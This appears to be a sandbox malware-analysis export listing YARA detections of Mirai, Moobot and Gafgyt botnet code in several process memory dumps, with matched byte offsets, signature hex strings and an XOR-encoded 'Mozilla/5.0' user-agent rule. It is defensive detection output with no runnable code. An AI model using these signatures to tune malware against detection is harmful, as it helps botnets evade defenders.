7209.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
7209.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
6825.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7056.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6903.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6903.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
6903.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6903.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6903.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
6903.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
7280.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7280.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
7280.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6982.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6982.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
6982.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6982.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6982.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
6982.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
6900.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6900.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
6900.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6900.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6900.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
6900.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
7280.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7280.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
7280.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
7188.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6295.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6595.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6595.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
6595.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6595.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6595.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
6595.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
